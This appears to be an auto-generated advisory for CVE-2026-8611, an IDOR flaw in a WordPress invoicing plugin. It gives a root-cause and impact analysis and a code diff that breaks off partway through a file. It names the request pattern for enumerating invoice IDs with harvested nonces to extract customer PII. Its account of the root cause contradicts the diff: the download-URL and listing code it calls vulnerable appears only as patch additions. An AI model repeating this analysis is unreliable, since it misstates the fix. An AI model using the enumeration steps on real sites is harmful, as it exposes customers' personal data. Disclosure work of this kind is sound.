Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-8611: Klamra Paycal for Aspaclaria <= 1.1.4 Insecure Direct Object Reference to Authenticated (Subscriber+) Sensitive Information Exposure via 'invoice_id' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-8611
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.1.4
Patched Version 1.1.5
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8611: The Klamra Paycal for Aspaclaria plugin for WordPress is vulnerable to Insecure Direct Object Reference (IDOR) in all versions up to and including 1.1.4. This vulnerability allows authenticated attackers with subscriber-level access and above to download arbitrary customer invoices by enumerating sequential post IDs, exposing sensitive billing PII including full name, email address, phone number, order total, line items, and customer notes.

Root Cause: The vulnerability resides in the invoice download functionality. The patched diff reveals that the Page_Invoices class previously lacked any ownership or permission checks when generating download URLs. The vulnerable code constructs download links using a nonce-protected URL with an ‘invoice_id’ parameter: admin_url(‘admin-post.php?action=paycal_invoice_download&invoice_id=’ . absint($invoice_id)). The nonce is generated using wp_nonce_url with the action ‘paycal_invoice_download_’ . absint($invoice_id). Critically, there was no check verifying that the requesting user owns the order associated with the invoice, nor any capability check beyond the subscriber level. The patch introduces a can_access() method that requires ‘manage_woocommerce’, ‘edit_shop_orders’, or ‘manage_options’ capabilities, and also adds a wp_die() with a 403 response in the Page_Invoices::render() method.

Exploitation: An authenticated attacker with subscriber-level access or higher can exploit this vulnerability. The attack requires a valid nonce for each invoice_id. The nonce is generated using the pattern ‘paycal_invoice_download_{invoice_id}’. An attacker can obtain a valid nonce by accessing the page that lists invoices (admin.php?page=paycal-invoices) which generates nonced download URLs for each visible invoice. Alternatively, an attacker can generate nonces themselves if they know the WordPress nonce key, since nonces are deterministic based on the action string and user session. The attacker would enumerate invoice IDs (sequential post IDs of type ‘asp_invoice’) and request admin-post.php?action=paycal_invoice_download&invoice_id={ID}&_wpnonce={nonce}. The vulnerable plugin code would then return the full invoice HTML containing all sensitive PII.

Patch Analysis: The patch adds a permission check via the can_access() method at the beginning of Page_Invoices::render(). This method requires users to have ‘manage_woocommerce’, ‘edit_shop_orders’, or ‘manage_options’ capabilities. If the user lacks these capabilities, the script dies with a 403 error. The patch also removes the Access::enforce(‘invoices’) call and replaces it with this more granular capability check. Additionally, the patch changes how the download URL is generated to use the same permission check context. The fix transforms the page from accessible by any authenticated user to accessible only by users with specific administrative WooCommerce capabilities.

Impact: Successful exploitation allows an authenticated attacker (subscriber+) to download any invoice in the system. Each invoice contains the customer’s full name, email address, phone number, billing address, order total, line items with descriptions and prices, and any customer notes. This exposure of personal identifiable information (PII) can lead to identity theft, phishing attacks, social engineering, and privacy violations. The sequential nature of post IDs makes enumeration trivial. The CVSS score of 4.3 reflects the low complexity and authentication requirements, though the confidentiality impact is high for the exposed data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/klamra-paycal-for-aspaclaria/includes/Admin/Page_Connector.php
+++ b/klamra-paycal-for-aspaclaria/includes/Admin/Page_Connector.php
@@ -79,16 +79,22 @@
           </tr>
           <tr>
             <th scope="row"><label for="merchant_id">Merchant ID</label></th>
-            <td><input name="merchant_id" id="merchant_id" type="text" class="regular-text" value="<?php echo esc_attr($settings['merchant_id']); ?>"></td>
+            <td>
+              <input name="merchant_id" id="merchant_id" type="text" class="regular-text" value="<?php echo esc_attr($settings['merchant_id']); ?>" placeholder="mrc_...">
+              <p class="description">Merchant ID identifies the PayCal merchant. It is not a license key.</p>
+            </td>
           </tr>
           <tr>
             <th scope="row"><label for="terminal_id">Terminal ID</label></th>
-            <td><input name="terminal_id" id="terminal_id" type="text" class="regular-text" value="<?php echo esc_attr($settings['terminal_id']); ?>"></td>
+            <td>
+              <input name="terminal_id" id="terminal_id" type="text" class="regular-text" value="<?php echo esc_attr($settings['terminal_id']); ?>" placeholder="trm_...">
+              <p class="description">Terminal ID identifies the PayCal payment terminal.</p>
+            </td>
           </tr>
           <tr>
-            <th scope="row"><label for="public_key">Public API Key</label></th>
+            <th scope="row"><label for="public_key">Public Key</label></th>
             <td>
-              <input name="public_key" id="public_key" type="text" class="regular-text" value="<?php echo esc_attr($settings['public_key']); ?>">
+              <input name="public_key" id="public_key" type="text" class="regular-text" value="<?php echo esc_attr($settings['public_key']); ?>" placeholder="pk_...">
               <p class="description">אין לשמור כאן Secret Key פרטי. סודות נשמרים רק בפלטפורמה המרכזית.</p>
             </td>
           </tr>
--- a/klamra-paycal-for-aspaclaria/includes/Admin/Page_Dashboard.php
+++ b/klamra-paycal-for-aspaclaria/includes/Admin/Page_Dashboard.php
@@ -14,10 +14,13 @@
     $data = LicenseStore::get();
     $mods = array_values(array_filter((array) ($data['modules'] ?? [])));
     $license_label = Gate::status_label();
-    $license_active = strtolower((string) $license_label) !== 'no license';
+    $license_active = !empty($data['valid']);
+    $license_in_grace = $license_label === 'Grace period';
+    $license_display = $license_active || $license_in_grace ? $license_label : 'לא מחובר';

     $bit_enabled = Gate::has('bit');
-    $invoices_enabled = Gate::has('invoices');
+    $invoice_settings = get_option('paycal_invoice_settings', []);
+    $invoices_enabled = !is_array($invoice_settings) || !isset($invoice_settings['enabled']) || (string) $invoice_settings['enabled'] === 'yes';

     $bit_pending_count = 0;
     if (class_exists('\WooCommerce') && $bit_enabled && function_exists('wc_get_orders')) {
@@ -51,12 +54,14 @@
     echo '  </div>';
     echo '  <div class="paycal-hero-panel">';
     echo '    <div class="paycal-hero-stat">';
-    echo '      <span class="paycal-hero-label">סטטוס רישוי</span>';
-    echo '      <strong>' . esc_html($license_label) . '</strong>';
+    echo '      <span class="paycal-hero-label">רישוי</span>';
+    echo '      <strong>' . esc_html($license_in_grace ? 'License status: Grace period' : $license_display) . '</strong>';
     if (!empty($data['expires_at'])) {
       echo '  <small>תוקף עד ' . esc_html($data['expires_at']) . '</small>';
+    } elseif ($license_in_grace) {
+      echo '  <small>Optional commercial modules are not fully licensed. Core connector and admin access remain available.</small>';
     } else {
-      echo '  <small>' . ($license_active ? 'רישיון פעיל במערכת' : 'נדרש חיבור לרישיון') . '</small>';
+      echo '  <small>' . ($license_active ? 'רישיון פעיל במערכת' : 'רישיון מסחרי לא חובר. מודולים שאינם דורשים רישיון ימשיכו לעבוד.') . '</small>';
     }
     echo '    </div>';
     echo '    <div class="paycal-hero-stat">';
@@ -75,8 +80,8 @@
     echo '<section class="paycal-stats-grid">';
     echo '  <article class="paycal-stat-card">';
     echo '    <span class="paycal-stat-label">רישוי</span>';
-    echo '    <strong class="paycal-stat-value">' . esc_html($license_label) . '</strong>';
-    echo '    <p class="paycal-stat-meta">' . (!empty($data['expires_at']) ? 'תוקף עד ' . esc_html($data['expires_at']) : 'עדיין לא חובר רישיון פעיל') . '</p>';
+    echo '    <strong class="paycal-stat-value">' . esc_html($license_display) . '</strong>';
+    echo '    <p class="paycal-stat-meta">' . ($license_in_grace ? 'Optional commercial modules are not fully licensed. Core connector and admin access remain available.' : (!empty($data['expires_at']) ? 'תוקף עד ' . esc_html($data['expires_at']) : 'רישיון מסחרי לא חובר. מודולים שאינם דורשים רישיון ימשיכו לעבוד.')) . '</p>';
     echo '  </article>';
     echo '  <article class="paycal-stat-card">';
     echo '    <span class="paycal-stat-label">Bit</span>';
@@ -86,7 +91,7 @@
     echo '  <article class="paycal-stat-card">';
     echo '    <span class="paycal-stat-label">Invoices</span>';
     echo '    <strong class="paycal-stat-value">' . ($invoices_enabled ? 'פעיל' : 'לא פעיל') . '</strong>';
-    echo '    <p class="paycal-stat-meta">' . ($invoices_enabled ? 'מודול חשבוניות זמין' : 'ניתן להפעיל דרך הרישיון') . '</p>';
+    echo '    <p class="paycal-stat-meta">' . ($invoices_enabled ? 'מודול חשבוניות זמין' : 'כבוי בהגדרות PayCal') . '</p>';
     echo '  </article>';
     echo '  <article class="paycal-stat-card">';
     echo '    <span class="paycal-stat-label">מערכת</span>';
@@ -97,21 +102,18 @@

     echo '<section class="paycal-dashboard-grid">';
     echo '  <div class="paycal-card paycal-card-main">';
-    echo '    <div class="paycal-section-head">';
-    echo '      <div><h2>מצב מערכת</h2><p class="paycal-muted">תמונת מצב מהירה של השירותים המרכזיים במערכת.</p></div>';
-    echo '    </div>';
     echo '    <div class="paycal-kpi">';
-    echo '      <span class="paycal-pill ' . ($license_active ? 'is-active' : '') . '" data-status="' . ($license_active ? 'active' : 'inactive') . '"><span class="paycal-dot"></span>רישוי: ' . esc_html($license_label) . '</span>';
+    echo '      <span class="paycal-pill ' . ($license_active ? 'is-active' : '') . '" data-status="' . ($license_active ? 'active' : 'inactive') . '"><span class="paycal-dot"></span>רישוי: ' . esc_html($license_display) . '</span>';
+    echo '      <span class="paycal-pill ' . ($invoices_enabled ? 'is-active' : '') . '" data-status="' . ($invoices_enabled ? 'active' : 'inactive') . '"><span class="paycal-dot"></span>חשבוניות: ' . ($invoices_enabled ? 'פעיל' : 'לא פעיל') . '</span>';
     echo '      <span class="paycal-pill ' . ($bit_enabled ? 'is-active' : '') . '" data-status="' . ($bit_enabled ? 'active' : 'inactive') . '"><span class="paycal-dot"></span>Bit: ' . ($bit_enabled ? 'פעיל' : 'לא פעיל') . '</span>';
-    echo '      <span class="paycal-pill ' . ($invoices_enabled ? 'is-active' : '') . '" data-status="' . ($invoices_enabled ? 'active' : 'inactive') . '"><span class="paycal-dot"></span>Invoices: ' . ($invoices_enabled ? 'פעיל' : 'לא פעיל') . '</span>';
     echo '      <span class="paycal-pill"><span class="paycal-dot"></span>מודולים: <strong>' . esc_html((string) count($mods)) . '</strong></span>';
     echo '    </div>';

     echo '    <div class="paycal-module-list">';
     if ($license_link) {
       echo '      <div class="paycal-module-row">';
-      echo '        <div><strong>רישיון</strong><span>חיבור רישיון ותוקף</span></div>';
-      echo '        <div class="paycal-module-actions"><span class="paycal-badge ' . ($license_active ? 'is-success' : 'is-warning') . '">' . esc_html($license_label) . '</span><a class="paycal-step" href="' . esc_url($license_link) . '">פתח</a></div>';
+      echo '        <div><strong>רישוי</strong><span>רישיון מסחרי לא חובר. מודולים שאינם דורשים רישיון ימשיכו לעבוד.</span></div>';
+      echo '        <div class="paycal-module-actions"><span class="paycal-badge ' . ($license_active ? 'is-success' : 'is-warning') . '">' . esc_html($license_display) . '</span><a class="paycal-step" href="' . esc_url($license_link) . '">פתח</a></div>';
       echo '      </div>';
     }
     if ($bit_link) {
@@ -143,9 +145,8 @@
     echo '    </div>';

     echo '    <div class="paycal-card">';
-    echo '      <div class="paycal-section-head"><div><h2>תמונת מצב</h2><p class="paycal-muted">מה כדאי לעשות עכשיו כדי לקדם את המערכת.</p></div></div>';
     echo '      <ul class="paycal-checklist">';
-    echo '        <li>' . ($license_active ? 'הרישיון מחובר והמערכת יכולה לטעון מודולים בהתאם.' : 'לחבר רישיון כדי לפתוח מודולים ולמנוע חסימות.') . '</li>';
+    echo '        <li>' . ($license_active ? 'הרישיון מחובר והמערכת יכולה לטעון מודולים בהתאם.' : 'רישיון נדרש רק להפעלת מודולים מסחריים אופציונליים.') . '</li>';
     echo '        <li>' . ($bit_enabled ? 'מודול Bit זמין. מומלץ לעבור על הזמנות ממתינות.' : 'להפעיל את Bit אם רוצים זרימת תשלומים מהירה בווקומרס.') . '</li>';
     echo '        <li>' . ($invoices_enabled ? 'מודול החשבוניות פעיל וזמין להגדרות.' : 'להפעיל Invoices אם צריך מסמכים וניהול פיננסי מתוך המערכת.') . '</li>';
     echo '      </ul>';
--- a/klamra-paycal-for-aspaclaria/includes/Admin/Page_Invoices.php
+++ b/klamra-paycal-for-aspaclaria/includes/Admin/Page_Invoices.php
@@ -3,31 +3,85 @@

 defined('ABSPATH') || exit;

-use PayCalPermissionsAccess;
-
-use PayCalLicensingGate;
-
 class Page_Invoices {
+  private static function can_access(): bool {
+    return current_user_can('manage_woocommerce')
+      || current_user_can('edit_shop_orders')
+      || current_user_can('manage_options');
+  }
+
   public static function render(): void {
-    Access::enforce('invoices');
+    if (!self::can_access()) {
+      wp_die(
+        esc_html__('You do not have permission to view PayCal invoices.', 'klamra-paycal-for-aspaclaria'),
+        esc_html__('Permission denied', 'klamra-paycal-for-aspaclaria'),
+        ['response' => 403]
+      );
+    }
+
+    $settings = function_exists('paycal_invoice_get_settings') ? paycal_invoice_get_settings() : [];
+    $enabled = !isset($settings['enabled']) || (string) $settings['enabled'] === 'yes';
+
+    $invoice_ids = get_posts([
+      'post_type' => 'asp_invoice',
+      'post_status' => 'publish',
+      'fields' => 'ids',
+      'posts_per_page' => 50,
+      'orderby' => 'date',
+      'order' => 'DESC',
+    ]);
+    if (!is_array($invoice_ids)) {
+      $invoice_ids = [];
+    }

     echo '<div class="wrap paycal-wrap">';
-    echo '<div class="paycal-header"><h1>PayCal — חשבוניות</h1><p>מודול החשבוניות (בקרוב / לפי רישיון)</p></div>';
+    echo '<div class="paycal-header"><h1>PayCal Invoices</h1><p>Invoice administration for WooCommerce orders.</p></div>';
+
+    if (!$enabled) {
+      echo '<div class="notice notice-warning"><p>' . esc_html__('Invoice module is currently disabled. Enable it in PayCal settings.', 'klamra-paycal-for-aspaclaria') . '</p></div>';
+    }

     echo '<div class="paycal-card">';
+    echo '<p><strong>Module status:</strong> ' . esc_html($enabled ? 'enabled' : 'disabled by settings') . '</p>';
+    echo '<p><a class="button button-primary" href="' . esc_url(admin_url('admin.php?page=paycal-invoices-settings')) . '">' . esc_html__('Open invoice settings', 'klamra-paycal-for-aspaclaria') . '</a></p>';
+    echo '</div>';

-    if (!Gate::has('invoices')) {
-      echo '<p><strong>סטטוס:</strong> לא פעיל (נדרש רישיון חשבוניות)</p>';
-      echo '<p><a class="button button-primary" href="'.esc_url(admin_url('admin.php?page=paycal-license')).'">הזן/בדוק רישיון</a> ';
-      echo '<a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-bundles')).'">לערכות</a></p>';
-      echo '<p class="paycal-muted">כשתפעילי את מודול החשבוניות, יופיעו כאן ההגדרות והסטטוסים.</p>';
+    echo '<div class="paycal-card">';
+    echo '<h2>' . esc_html__('Invoices', 'klamra-paycal-for-aspaclaria') . '</h2>';
+
+    if (empty($invoice_ids)) {
+      echo '<p>' . esc_html__('No invoices found yet. Invoices will appear here after paid WooCommerce orders are created.', 'klamra-paycal-for-aspaclaria') . '</p>';
       echo '</div></div>';
       return;
     }

-    echo '<p><strong>סטטוס:</strong> פעיל ✅</p>';
-    echo '<p class="paycal-muted">המודול פעיל ברישיון. אפשר לעצב חשבוניות מתוך מסך ההגדרות.</p>';
-    echo '<p><a class="button button-primary" href="'.esc_url(admin_url('admin.php?page=paycal-invoices-settings')).'">פתח הגדרות חשבוניות</a></p>';
+    echo '<table class="widefat striped"><thead><tr>';
+    echo '<th>' . esc_html__('Invoice', 'klamra-paycal-for-aspaclaria') . '</th>';
+    echo '<th>' . esc_html__('Order', 'klamra-paycal-for-aspaclaria') . '</th>';
+    echo '<th>' . esc_html__('Customer', 'klamra-paycal-for-aspaclaria') . '</th>';
+    echo '<th>' . esc_html__('Date', 'klamra-paycal-for-aspaclaria') . '</th>';
+    echo '<th>' . esc_html__('Download', 'klamra-paycal-for-aspaclaria') . '</th>';
+    echo '</tr></thead><tbody>';
+
+    foreach ($invoice_ids as $invoice_id) {
+      $invoice_id = absint($invoice_id);
+      $order_id = absint(get_post_meta($invoice_id, '_order_id', true));
+      $order = $order_id && function_exists('wc_get_order') ? wc_get_order($order_id) : null;
+      $download_url = wp_nonce_url(
+        admin_url('admin-post.php?action=paycal_invoice_download&invoice_id=' . absint($invoice_id)),
+        'paycal_invoice_download_' . absint($invoice_id)
+      );
+
+      echo '<tr>';
+      echo '<td><a href="' . esc_url(get_edit_post_link($invoice_id)) . '">' . esc_html(get_the_title($invoice_id)) . '</a></td>';
+      echo '<td>' . ($order_id ? '<a href="' . esc_url(admin_url('post.php?post=' . $order_id . '&action=edit')) . '">#' . esc_html((string) $order_id) . '</a>' : esc_html__('Unavailable', 'klamra-paycal-for-aspaclaria')) . '</td>';
+      echo '<td>' . esc_html($order ? trim($order->get_billing_first_name() . ' ' . $order->get_billing_last_name()) : '') . '</td>';
+      echo '<td>' . esc_html(get_the_date('', $invoice_id)) . '</td>';
+      echo '<td><a class="button" href="' . esc_url($download_url) . '">' . esc_html__('Download HTML', 'klamra-paycal-for-aspaclaria') . '</a></td>';
+      echo '</tr>';
+    }
+
+    echo '</tbody></table>';
     echo '</div></div>';
   }
 }
--- a/klamra-paycal-for-aspaclaria/includes/Admin/Page_License.php
+++ b/klamra-paycal-for-aspaclaria/includes/Admin/Page_License.php
@@ -3,10 +3,10 @@

 defined('ABSPATH') || exit;

-use PayCalPermissionsAccess;
-
+use PayCalLicensingGate;
 use PayCalLicensingLicenseClient;
 use PayCalLicensingLicenseStore;
+use PayCalPermissionsAccess;

 class Page_License {
   public static function render(): void {
@@ -18,15 +18,17 @@
     if (!empty($_POST['paycal_action']) && $_POST['paycal_action'] === 'save_license') {
       check_admin_referer('paycal_save_license');

-      $key = sanitize_text_field($_POST['license_key'] ?? '');
+      $key = sanitize_text_field(wp_unslash($_POST['license_key'] ?? ''));

       if (!$key) {
-        $err = 'נא להזין מפתח רישוי.';
+        $err = 'Please enter a License Key.';
       } else {
         $res = LicenseClient::validate_remote($key);
         if (!empty($res['ok'])) {
           LicenseStore::set($res['data']);
-          $msg = 'הרישיון אומת ונשמר בהצלחה.';
+          $msg = 'License verified and saved.';
+        } elseif (LicenseClient::looks_like_connector_credential($key)) {
+          $err = 'זה נראה כמו נתון חיבור של PayCal, לא מפתח רישוי. יש להזין אותו בהגדרות Merchant / Terminal.';
         } else {
           LicenseStore::set([
             'license_key' => $key,
@@ -36,34 +38,56 @@
             'validated_at' => time(),
             'grace_until' => time() + (7 * DAY_IN_SECONDS),
           ]);
-          $err = 'האימות נכשל: ' . esc_html($res['error'] ?? 'Unknown error');
+          $err = 'License verification failed: ' . esc_html($res['error'] ?? 'Unknown error');
         }
       }
     }

     $data = LicenseStore::get();
-    $key_val = esc_attr($data['license_key'] ?? '');
-    $status  = esc_html(($data['valid'] ?? false) ? 'Active' : (LicenseStore::is_in_grace() ? 'Grace' : 'Inactive'));
+    $stored_key = (string) ($data['license_key'] ?? '');
+    $stored_connector_credential = $stored_key !== '' && LicenseClient::looks_like_connector_credential($stored_key);
+    if ($stored_connector_credential) {
+      $data['license_key'] = '';
+      $data['valid'] = false;
+      $data['modules'] = [];
+      $data['expires_at'] = '';
+      $data['grace_until'] = 0;
+      LicenseStore::set($data);
+      $stored_key = '';
+      if (!$err) {
+        $err = 'זה נראה כמו נתון חיבור של PayCal, לא מפתח רישוי. יש להזין אותו בהגדרות Merchant / Terminal.';
+      }
+    }
+    $key_val = esc_attr($stored_key);
+    $raw_status = class_exists(Gate::class) ? Gate::status_label() : 'לא מחובר';
+    $status_text = in_array($raw_status, ['Pending verification', 'Disabled'], true) ? 'לא מחובר' : $raw_status;
+    $status = esc_html($status_text);
     $expires = esc_html($data['expires_at'] ?? '');

     echo '<div class="wrap paycal-wrap">';
-    echo '<div class="paycal-header"><h1>PayCal — License</h1><p>אימות רישיון והפעלת מודולים</p></div>';
+    echo '<div class="paycal-header"><h1>רישוי</h1><p>מפתחות רישוי נדרשים רק להפעלת מודולים מסחריים אופציונליים. נתוני חיבור התשלום מנוהלים בנפרד.</p></div>';

     if ($msg) echo '<div class="notice notice-success"><p>' . esc_html($msg) . '</p></div>';
     if ($err) echo '<div class="notice notice-error"><p>' . $err . '</p></div>';

     echo '<div class="paycal-card">';
-    echo '<p><strong>סטטוס:</strong> ' . $status . '</p>';
-    if ($expires) echo '<p><strong>תוקף עד:</strong> ' . $expires . '</p>';
+    echo '<h2>רישוי</h2>';
+    echo '<p><strong>' . $status . '</strong></p>';
+    if ($raw_status === 'Grace period') {
+      echo '<p class="description">Optional commercial modules are not fully licensed. Core connector and admin access remain available.</p>';
+    }
+    if ($expires) echo '<p><strong>Expires:</strong> ' . $expires . '</p>';
+    echo '<p class="description">מפתחות רישוי נדרשים רק להפעלת מודולים מסחריים אופציונליים. נתוני חיבור התשלום מנוהלים בנפרד.</p>';

     echo '<form method="post">';
     wp_nonce_field('paycal_save_license');
     echo '<input type="hidden" name="paycal_action" value="save_license" />';
     echo '<div class="paycal-field" style="max-width:560px">';
-    echo '<label for="license_key">מפתח רישוי</label>';
-    echo '<input id="license_key" name="license_key" type="text" value="' . $key_val . '" />';
+    echo '<label for="license_key">License Key</label>';
+    echo '<input id="license_key" name="license_key" type="text" value="' . $key_val . '" placeholder="License token only, not mrc_/trm_/pk_" />';
     echo '</div>';
-    echo '<p class="submit"><button class="button button-primary">אמת ושמור</button></p>';
+    echo '<p><a href="' . esc_url(admin_url('admin.php?page=paycal-connector')) . '">Open Merchant/Terminal settings</a></p>';
+    echo '<p class="submit"><button class="button button-primary">Verify and save</button></p>';
     echo '</form>';

     echo '</div></div>';
--- a/klamra-paycal-for-aspaclaria/includes/Admin/Page_Wizard.php
+++ b/klamra-paycal-for-aspaclaria/includes/Admin/Page_Wizard.php
@@ -3,11 +3,11 @@

 defined('ABSPATH') || exit;

-use PayCalPermissionsAccess;
-
+use PayCalConnectorConnectorStore;
+use PayCalLicensingGate;
 use PayCalLicensingLicenseClient;
 use PayCalLicensingLicenseStore;
-use PayCalLicensingGate;
+use PayCalPermissionsAccess;

 class Page_Wizard {
   public static function render(): void {
@@ -17,30 +17,53 @@
     $msg = '';
     $err = '';

-    // Handle posts
     if (!empty($_POST['paycal_wizard_action'])) {
       check_admin_referer('paycal_wizard');
+      $action = sanitize_key(wp_unslash($_POST['paycal_wizard_action']));
+
+      if ($action === 'save_connector') {
+        ConnectorStore::save([
+          'merchant_id' => sanitize_text_field(wp_unslash($_POST['merchant_id'] ?? '')),
+          'terminal_id' => sanitize_text_field(wp_unslash($_POST['terminal_id'] ?? '')),
+          'public_key' => sanitize_text_field(wp_unslash($_POST['public_key'] ?? '')),
+        ]);
+        wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=license'));
+        exit;
+      }

-      if ($_POST['paycal_wizard_action'] === 'save_license') {
-        $key = sanitize_text_field($_POST['license_key'] ?? '');
-        $res = $key ? LicenseClient::validate_remote($key) : ['ok'=>false,'error'=>'נא להזין מפתח'];
+      if ($action === 'save_license') {
+        $key = sanitize_text_field(wp_unslash($_POST['license_key'] ?? ''));
+        if ($key === '') {
+          wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=modules'));
+          exit;
+        }

+        $res = LicenseClient::validate_remote($key);
         if (!empty($res['ok'])) {
           LicenseStore::set($res['data']);
           wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=modules'));
           exit;
+        }
+
+        if (LicenseClient::looks_like_connector_credential($key)) {
+          $err = 'זה נראה כמו נתון חיבור של PayCal, לא מפתח רישוי. יש להזין אותו בהגדרות Merchant / Terminal.';
         } else {
-          $err = 'אימות נכשל: ' . esc_html($res['error'] ?? 'Unknown error');
+          $err = 'License verification failed: ' . esc_html($res['error'] ?? 'Unknown error');
         }
       }

-      if ($_POST['paycal_wizard_action'] === 'save_bit') {
-        $phone = preg_replace('/D+/', '', (string)($_POST['bit_phone'] ?? ''));
-        $display = sanitize_text_field($_POST['bit_display_name'] ?? '');
-        $note = sanitize_textarea_field($_POST['bit_note'] ?? '');
+      if ($action === 'skip_license') {
+        wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=modules'));
+        exit;
+      }
+
+      if ($action === 'save_bit') {
+        $phone = preg_replace('/D+/', '', (string) ($_POST['bit_phone'] ?? ''));
+        $display = sanitize_text_field(wp_unslash($_POST['bit_display_name'] ?? ''));
+        $note = sanitize_textarea_field(wp_unslash($_POST['bit_note'] ?? ''));

         if (strlen($phone) < 9) {
-          $err = 'מספר הטלפון נראה קצר מדי. בדוק שהזנת מספר ישראלי תקין.';
+          $err = 'The Bit phone number looks too short. Check that you entered a valid phone number.';
         } else {
           PayCalModulesBitBitSettings::set([
             'phone' => $phone,
@@ -52,13 +75,13 @@
         }
       }

-      if ($_POST['paycal_wizard_action'] === 'finish') {
-        $msg = 'ההתקנה הסתיימה. אפשר להתחיל לעבוד.';
+      if ($action === 'finish') {
+        $msg = 'Setup is complete.';
       }
     }

     echo '<div class="wrap paycal-wrap paycal-wizard">';
-    echo '<div class="paycal-header"><h1>PayCal — Setup Wizard</h1><p>התקנה מהירה: רישוי → מודולים → Bit → סיום</p></div>';
+    echo '<div class="paycal-header"><h1>PayCal Setup Wizard</h1><p>Connect payment credentials, optionally activate commercial modules, then finish setup.</p></div>';

     self::steps_nav($step);

@@ -68,112 +91,107 @@
     echo '<div class="paycal-card">';

     if ($step === 'welcome') {
-      echo '<h2>ברוך הבא</h2>';
-      echo '<p class="paycal-muted">בוא נבצע התקנה קצרה: רישיון → מודולים → חיבור ביט.</p>';
-      echo '<a class="paycal-btn-primary" href="' . esc_url(admin_url('admin.php?page=paycal-setup&step=license')) . '">התחל</a>';
+      echo '<h2>Welcome</h2>';
+      echo '<p class="paycal-muted">This wizard separates PayCal connector credentials from optional commercial license keys.</p>';
+      echo '<a class="paycal-btn-primary" href="' . esc_url(admin_url('admin.php?page=paycal-setup&step=merchant')) . '">Start setup</a>';
+    }
+
+    if ($step === 'merchant') {
+      $settings = ConnectorStore::get();
+      echo '<h2>Merchant / Terminal</h2>';
+      echo '<p class="paycal-muted">These are payment connector credentials. They are not license keys.</p>';
+      echo '<form method="post">';
+      wp_nonce_field('paycal_wizard');
+      echo '<input type="hidden" name="paycal_wizard_action" value="save_connector" />';
+      echo '<div class="paycal-field" style="max-width:560px"><label>Merchant ID</label><input name="merchant_id" type="text" value="' . esc_attr($settings['merchant_id']) . '" placeholder="mrc_..." /></div>';
+      echo '<div class="paycal-field" style="max-width:560px"><label>Terminal ID</label><input name="terminal_id" type="text" value="' . esc_attr($settings['terminal_id']) . '" placeholder="trm_..." /></div>';
+      echo '<div class="paycal-field" style="max-width:560px"><label>Public Key</label><input name="public_key" type="text" value="' . esc_attr($settings['public_key']) . '" placeholder="pk_..." /></div>';
+      echo '<p class="submit"><button class="button button-primary">Save and continue</button></p>';
+      echo '</form>';
     }

     if ($step === 'license') {
       $data = LicenseStore::get();
-      $key_val = esc_attr($data['license_key'] ?? '');
+      $stored_key = (string) ($data['license_key'] ?? '');
+      $looks_like_connector = $stored_key !== '' && LicenseClient::looks_like_connector_credential($stored_key);
+      $key_val = $looks_like_connector ? '' : esc_attr($stored_key);
+
+      if ($looks_like_connector) {
+        echo '<div class="notice notice-warning"><p>' . esc_html__('זה נראה כמו נתון חיבור של PayCal, לא מפתח רישוי. יש להזין אותו בהגדרות Merchant / Terminal.', 'klamra-paycal-for-aspaclaria') . '</p></div>';
+      }

-      echo '<h2>שלב 1: אימות רישיון</h2>';
+      echo '<h2>License - optional</h2>';
+      echo '<p class="paycal-muted">מפתחות רישוי נדרשים רק להפעלת מודולים מסחריים אופציונליים. נתוני חיבור התשלום מנוהלים בנפרד.</p>';
       echo '<form method="post">';
       wp_nonce_field('paycal_wizard');
       echo '<input type="hidden" name="paycal_wizard_action" value="save_license" />';
       echo '<div class="paycal-field" style="max-width:560px">';
       echo '<label>License Key</label>';
-      echo '<input name="license_key" type="text" value="' . $key_val . '"/>';
+      echo '<input name="license_key" type="text" value="' . $key_val . '" placeholder="License token only, not mrc_/trm_/pk_" />';
       echo '</div>';
-      echo '<p class="submit"><button class="button button-primary">אמת והמשך</button></p>';
+      echo '<p><a href="' . esc_url(admin_url('admin.php?page=paycal-connector')) . '">Open Merchant/Terminal settings</a></p>';
+      echo '<p class="submit"><button class="button button-primary">Verify and continue</button></p>';
+      echo '</form>';
+      echo '<form method="post">';
+      wp_nonce_field('paycal_wizard');
+      echo '<input type="hidden" name="paycal_wizard_action" value="skip_license" />';
+      echo '<p class="submit"><button class="button">Continue without license</button></p>';
       echo '</form>';
     }

     if ($step === 'modules') {
       $mods = LicenseStore::entitlements();
-      echo '<h2>שלב 2: מודולים זמינים</h2>';
-
+      echo '<h2>Modules</h2>';
       if (empty($mods)) {
-        echo '<p>לא נמצאו מודולים פעילים ברישיון. בדוק את הרישיון.</p>';
-        echo '<a class="button" href="' . esc_url(admin_url('admin.php?page=paycal-license')) . '">למסך רישוי</a>';
+        echo '<p class="paycal-muted">No optional commercial modules are currently licensed. Core connector and invoice admin access remain available.</p>';
       } else {
-        echo '<p>לפי הרישיון שלך, אלו המודולים שנפתחו:</p><ul class="paycal-bullets">';
+        echo '<p>Licensed optional modules:</p><ul class="paycal-bullets">';
         foreach ($mods as $m) echo '<li>' . esc_html($m) . '</li>';
         echo '</ul>';
-
-        if (in_array('bit', $mods, true)) {
-          wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=bit'));
-          exit;
-        } else {
-          wp_safe_redirect(admin_url('admin.php?page=paycal-setup&step=finish'));
-          exit;
-        }
       }
+      echo '<p><a class="button button-primary" href="' . esc_url(admin_url('admin.php?page=paycal-setup&step=bit')) . '">Continue to Bit Setup</a> ';
+      echo '<a class="button" href="' . esc_url(admin_url('admin.php?page=paycal-setup&step=finish')) . '">Skip Bit Setup</a></p>';
     }

     if ($step === 'bit') {
       if (!Gate::has('bit')) {
-        echo '<p>מודול Bit לא פעיל ברישיון.</p>';
-        echo '<a class="button" href="'.esc_url(admin_url('admin.php?page=paycal-bundles')).'">Marketplace</a>';
+        echo '<h2>Bit Setup</h2>';
+        echo '<p class="paycal-muted">Bit is an optional commercial module and is not currently licensed.</p>';
+        echo '<p><a class="button button-primary" href="' . esc_url(admin_url('admin.php?page=paycal-setup&step=finish')) . '">Continue to finish</a> ';
